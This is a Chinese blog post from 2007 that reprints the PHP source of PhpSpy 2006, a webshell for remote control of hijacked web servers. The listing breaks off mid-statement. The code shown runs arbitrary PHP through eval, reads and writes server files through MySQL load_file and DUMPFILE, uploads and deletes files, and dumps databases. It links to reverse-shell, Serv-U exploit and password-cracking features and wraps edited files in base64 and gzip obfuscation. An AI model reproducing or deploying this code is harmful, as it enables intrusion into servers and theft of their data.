shell.php
作者: Corbie 日期: 2007-12-16 15:23
下载: shell.php
- <?php
- error_reporting(7);
- //设定错误讯息回报的等级
- ob_start();
- //打开缓冲区,当缓冲区激活时,所有来自PHP程序的非文件头信息均不会发送,而是保存在内部缓冲区。为了输出缓冲区的内容,可以使用ob_end_flush()或flush()输出缓冲区的内容。
- $mtime = explode(' ', microtime());
- $starttime = $mtime[1] + $mtime[0];
- @set_time_limit(0);
- //非安全模式可以使用上面的函数,超时取消。
- <!--more-->
- /*===================== 程序配置 =====================*/
- // 是否需要密码验证,1为需要验证,其他数字为直接进入.下面选项则无效
- $admin['check'] = "1";
- // 如果需要密码验证,请修改登陆密码
- $admin['pass'] = "123456";
- //默认端口表
- $admin['port'] = ",21,22,23,25,53,69,79,80,110,119,143,139,389,443,1080,1433,2401,3128,3306,3389,4899,5432,5631,5900,6000,7000,8000,8080,43958";
- //跳转用的秒
- $admin['jumpsecond'] = "1";
- //是否显示alexa排名
- $admin['alexa'] = "2";
- //Ftp破解用的连接端口
- $admin['ftpport'] = "21";
- // 是否允许phpspy本身自动修改编辑后文件的时间为建立时间(yes/no)
- $retime = "No";
- // 默认cmd.exe的位置,proc_open函数要使用的,linux系统请对应修改.(假设是winnt系统在程序里依然可以指定)
- $cmd = "cmd.exe";
- // 下面是phpspy显示版权那栏的,因为被很多程序当成作为关键词杀了,还是不懂表改~~
- $notice = "[<a href=\"http://www.51shell.cn\" title=\"浅蓝的辐射鱼\">Saiy</a>] [<a href=\"http://www.4gnel.net\" title=\"安全天使\">S4T</a>] [<a href=\"http://1v1.name\" title=\"7jdg\">7jdg</a>]<br><FONT color=#ff3300>声明:请勿使用本程序从事非法行为,否则后果自负!</font>";
- /*===================== 配置结束 =====================*/
- // 允许程序在 register_globals = off 的环境下工作
- $onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');
- if ($onoff != 1) {
- @extract($_POST, EXTR_SKIP);
- @extract($_GET, EXTR_SKIP);
- }
- $self = $_SERVER['PHP_SELF'];
- $dis_func = get_cfg_var("disable_functions");
- /*===================== 身份验证 =====================*/
- if($admin['check'] == "1") {
- if ($_GET['action'] == "logout") {
- setcookie ("adminpass", "");
- echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$self."\">";
- echo "<span style=\"font-size: 12px; font-family: Verdana\">注销成功......<p><a href=\"".$self."\">三秒后自动退出或单击这里退出程序界面 >>></a></span>";
- exit;
- }
- if ($_POST['do'] == 'login') {
- $thepass=trim($_POST['adminpass']);
- if ($admin['pass'] == $thepass) {
- setcookie ("adminpass",$thepass,time()+(1*24*3600));
- echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$self."\">";
- echo "<span style=\"font-size: 12px; font-family: Verdana\">登陆成功......<p><a href=\"".$self."\">三秒后自动跳转或单击这里进入程序界面 >>></a></span>";
- exit;
- }
- }
- if (isset($_COOKIE['adminpass'])) {
- if ($_COOKIE['adminpass'] != $admin['pass']) {
- loginpage();
- }
- } else {
- loginpage();
- }
- }
- /*===================== 验证结束 =====================*/
- // 判断 magic_quotes_gpc 状态
- if (get_magic_quotes_gpc()) {
- $_GET = stripslashes_array($_GET);
- $_POST = stripslashes_array($_POST);
- }
- // 查看PHPINFO
- if ($_GET['action'] == "phpinfo") {
- echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看<PHP环境变量>";
- exit;
- }
- if($_GET['action'] == "nowuser") {
- if(get_current_user()) echo"当前进程用户名:".get_current_user();
- else echo '无法获取当前进行用户名!';
- exit;
- }
- if(isset($_POST['phpcode'])){
- eval("?".">$_POST[phpcode]<?");
- exit;
- }
- //news
- if($action=="mysqldown"){
- $link=@mysql_connect($host,$user,$password);
- if (!$link) {
- $downtmp = '数据库连接失败: ' . mysql_error();
- }else{
- $query="select load_file('".$filename."');";
- $result = @mysql_query($query, $link);
- if(!$result){
- $downtmp = "读取失败,可能是文件不存在或是没file权限。<br>".mysql_error();
- }else{
- while ($row = mysql_fetch_array($result)) {
- $filename = basename($filename);
- if($rardown=="yes"){
- $zip = NEW Zip;
- $zipfiles[]=Array("$filename",$row[0]);
- $zip->Add($zipfiles,1);
- $code = $zip->get_file();
- $filename = "".$filename.".rar";
- }else{
- $code = $row[0];
- }
- header("Content-type: application/octet-stream");
- header("Accept-Ranges: bytes");
- header("Accept-Length: ".strlen($code));
- header("Content-Disposition: attachment;filename=$filename");
- echo($code);
- exit;
- }
- }
- }
- }
- //alexa排名
- if ($admin['alexa'] != "1")
- {$title = "默认关闭";
- }else {
- $url= "http://data.alexa.com/data?cli=10&dat=snba&url=".$_SERVER['HTTP_HOST'];
- $str = file("$url");
- $count = count($str);
- for ($i=0;$i<$count;$i++){
- $file .= $str[$i];
- }
- $title = explode("\" TEXT=\"",$file);
- $title = explode("\"/>",$title[1]);
- $title = $title[0];
- if(!$title) $title = "Not data";
- }
- $cckk = "_".date("Ymd",time());
- // 在线代理
- if (isset($_POST['url'])) {
- $proxycontents = @file_get_contents($_POST['url']);
- echo ($proxycontents) ? $proxycontents : "<body bgcolor=\"#F5F5F5\" style=\"font-size: 12px;\"><center><br><p><b>获取 URL 内容失败</b></p></center></body>";
- exit;
- }
- // 下载文件
- if (!empty($downfile)) {
- if (!@file_exists($downfile)) {
- echo "<script>alert('你要下的文件不存在!')</script>";
- } else {
- $filename = basename($downfile);
- $filename_info = explode('.', $filename);
- $fileext = $filename_info[count($filename_info)-1];
- header('Content-type: application/x-'.$fileext);
- header('Content-Disposition: attachment; filename='.$filename);
- header('Content-Description: PHP Generated Data');
- header('Content-Length: '.filesize($downfile));
- @readfile($downfile);
- exit;
- }
- }
- // 直接下载备份数据库
- if ($_POST['backuptype'] == 'download') {
- @mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
- @mysql_select_db($dbname) or die("选择数据库失败");
- $table = array_flip($_POST['table']);
- $result = mysql_query("SHOW tables");
- echo ($result) ? NULL : "出错: ".mysql_error();
- $filename = basename($_SERVER['HTTP_HOST'].$cckk."_MySQL.sql");
- header('Content-type: application/unknown');
- header('Content-Disposition: attachment; filename='.$filename);
- $mysqldata = '';
- while ($currow = mysql_fetch_array($result)) {
- if (isset($table[$currow[0]])) {
- $mysqldata.= sqldumptable($currow[0]);
- $mysqldata.= $mysqldata."\r\n";
- }
- }
- mysql_close();
- exit;
- }
- // 程序目录
- $pathname=str_replace('\\','/',dirname(__FILE__));
- // 获取当前路径
- if (!isset($dir) or empty($dir)) {
- $dir = ".";
- $nowpath = getPath($pathname, $dir);
- } else {
- $dir=$_GET['dir'];
- $nowpath = getPath($pathname, $dir);
- }
- // 判断读写情况
- $dir_writeable = (dir_writeable($nowpath)) ? "可写" : "不可写";
- $phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO</a>" : "";
- $reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | <a href=\"?action=reg\">注册表操作</a>" : "";
- $servu = (substr(PHP_OS, 0, 3) == 'WIN') ? "| <a href=\"?action=SUExp\">Serv-U EXP</a> " : "";
- $adodb = (substr(PHP_OS, 0, 3) == 'WIN') ? " | <a href=\"?action=adodb\">ADODB</a> " : "";
- $mysqlfun = (substr(PHP_OS, 0, 3) == 'WIN') ? " | <a href=\"?action=mysqlfun\">Func反弹Shell</a> " : "";
- $tb = new FORMS;
- ?>
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
- <title><? //echo http:// $_SERVER['HTTP_HOST'];?> PhpSpy 2006 最终修改版</title>
- <style type="text/css">
- body{
- BACKGROUND-COLOR: #F5F5F5;
- COLOR: #3F3849;
- font-family: "Verdana", "Tahoma", "宋体";
- font-size: "12px";
- line-height: "140%";
- }
- TD {FONT-FAMILY: "Verdana", "Tahoma", "宋体"; FONT-SIZE: 12px; line-height: 140%;}
- .smlfont {
- font-family: "Verdana", "Tahoma", "宋体";
- font-size: "11px";
- }
- .INPUT {
- FONT-SIZE: "12px";
- COLOR: "#000000";
- BACKGROUND-COLOR: "#FFFFFF";
- height: "18px";
- border: "1px solid #666666";
- padding-left: "2px";
- }
- .redfont {
- COLOR: "#CA0000";
- }
- A:LINK {COLOR: #3F3849; TEXT-DECORATION: none}
- A:VISITED {COLOR: #3F3849; TEXT-DECORATION: none}
- A:HOVER {COLOR: #FFFFFF; BACKGROUND-COLOR: #cccccc}
- A:ACTIVE {COLOR: #FFFFFF; BACKGROUND-COLOR: #cccccc}
- .top {BACKGROUND-COLOR: "#CCCCCC"}
- .firstalt {BACKGROUND-COLOR: "#EFEFEF"}
- .secondalt {BACKGROUND-COLOR: "#F5F5F5"}
- </style>
- <SCRIPT language=JavaScript>
- function CheckAll(form) {
- for (var i=0;i<form.elements.length;i++) {
- var e = form.elements[i];
- if (e.name != 'chkall')
- e.checked = form.chkall.checked;
- }
- }
- function really(d,f,m,t) {
- if (confirm(m)) {
- if (t == 1) {
- window.location.href='?dir='+d+'&deldir='+f;
- } else {
- window.location.href='?dir='+d+'&delfile='+f;
- }
- }
- }
- </SCRIPT>
- </head>
- <body style="table-layout:fixed; word-break:break-all">
- <center>
- <?php
- $tb->tableheader();
- $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>'.$_SERVER['HTTP_HOST'].'</b></td><td><b>网站排名:'.$title.'</b></td><td align="center">'.date("Y年m月d日 h:i:s",time()).'</td><td align="right"><b>'.$_SERVER['REMOTE_ADDR'].'</b></td></tr></table>','center','top');
- $tb->tdbody('| <a href="?action=dir">Shell目录</a> | <a href="?action=phpenv">环境变量</a> | <a href="?action=proxy">在线代理</a>'.$reg.$phpinfo.' | <a href="?action=shell">WebShell</a> | <a href="?action=crack&type=crack">杂项破解</a> | <a href="?action=crack">MySql上传下载</a> | <a href="?action=mix">解压mix.dll</a> | <a href="?action=setting">设置部分</a> |');
- $tb->tdbody('| <a href="?action=downloads">Http 文件下载</a> | <a href="?action=search&dir='.$dir.'">文件查找</a> | <a href="?action=eval">执行php脚本</a> | <a href="?action=sql">执行 SQL 语句</a> '.$mysqlfun.' | <a href="?action=sqlbak">MySQL 备份</a> '.$servu.$adodb.'| <a href="?action=logout">注销登录</a> |');
- $tb->tablefooter();
- ?>
- <hr width="775" noshade>
- <table width="775" border="0" cellpadding="0">
- <?
- $tb->headerform(array('method'=>'GET','content'=>'<p>程序路径: '.$pathname.'<br>当前目录(<FONT color=#ff3300>'.$dir_writeable.'</font>,'.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'<br>跳转目录: '.$tb->makeinput('dir').' '.$tb->makeinput('','确定','','submit').' 〖支持绝对路径和相对路径〗'));
- $tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'上传文件到当前目录: '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','确定','','submit').$tb->makeinput('uploaddir',$dir,'','hidden')));
- $tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'新建文件在当前目录: '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile','确定','','submit')));
- $tb->headerform(array('content'=>'新建目录在当前目录: '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','确定','','submit')));
- ?>
- </table>
- <hr width="775" noshade>
- <?php
- /*===================== 执行操作 开始 =====================*/
- echo "<p><b>\n";
- // 删除文件
- if (!empty($delfile)) {
- if (file_exists($delfile)) {
- echo (@unlink($delfile)) ? $delfile." 删除成功!" : "文件删除失败!";
- } else {
- echo basename($delfile)." 文件已不存在!";
- }
- }
- // 删除目录
- elseif (!empty($deldir)) {
- $deldirs="$dir/$deldir";
- if (!file_exists("$deldirs")) {
- echo "$deldir 目录已不存在!";
- } else {
- echo (deltree($deldirs)) ? "目录删除成功!" : "目录删除失败!";
- }
- }
- // 创建目录
- elseif (($createdirectory) AND !empty($_POST['newdirectory'])) {
- if (!empty($newdirectory)) {
- $mkdirs="$dir/$newdirectory";
- if (file_exists("$mkdirs")) {
- echo "该目录已存在!";
- } else {
- echo (@mkdir("$mkdirs",0777)) ? "创建目录成功!" : "创建失败!";
- @chmod("$mkdirs",0777);
- }
- }
- }
- // 上传文件
- elseif ($doupfile) {
- echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "上传成功!" : "上传失败!";
- }
- elseif($action=="mysqlup"){
- $filename = $_FILES['upfile']['tmp_name'];
- if(!$filename) {
- echo"没有选择要上传的文件。。";
- }else{
- $shell = file_get_contents($filename);
- $mysql = bin2hex($shell);
- if(!$upname) $upname = $_FILES['upfile']['name'];
- $shell = "select 0x".$mysql." from ".$database." into DUMPFILE '".$uppath."/".$upname."';";
- $link=@mysql_connect($host,$user,$password);
- if(!$link){
- echo "登陆失败".mysql_error();
- }else{
- $result = mysql_query($shell, $link);
- if($result){
- echo"操作成功.文件成功上传到".$host.",文件名为".$uppath."/".$upname."..";
- }else{
- echo"上传失败 原因:".mysql_error();
- }
- }
- }
- }
- elseif($action=="mysqldown"){
- if(!empty($downtmp)) echo $downtmp;
- }
- // 编辑文件
- elseif ($_POST['do'] == 'doeditfile') {
- if (!empty($_POST['editfilename'])) {
- if(!file_exists($editfilename)) unset($retime);
- if($time==$now) $time = @filemtime($editfilename);
- $time2 = @date("Y-m-d H:i:s",$time);
- $filename="$editfilename";
- @$fp=fopen("$filename","w");
- if($_POST['change']=="yes"){
- $filecontent = "?".">".$_POST['filecontent']."<?";
- $filecontent = gzdeflate($filecontent);
- $filecontent = base64_encode($filecontent);
- $filecontent = "<?php\n/*\n代码由http://1v1.name加密!\n*/\neval(gzinflate(base64_decode('$filecontent')));\n"."?>";
- }else{
- $filecontent = $_POST['filecontent'];
- }
- echo
订阅
上一篇
返回
下一篇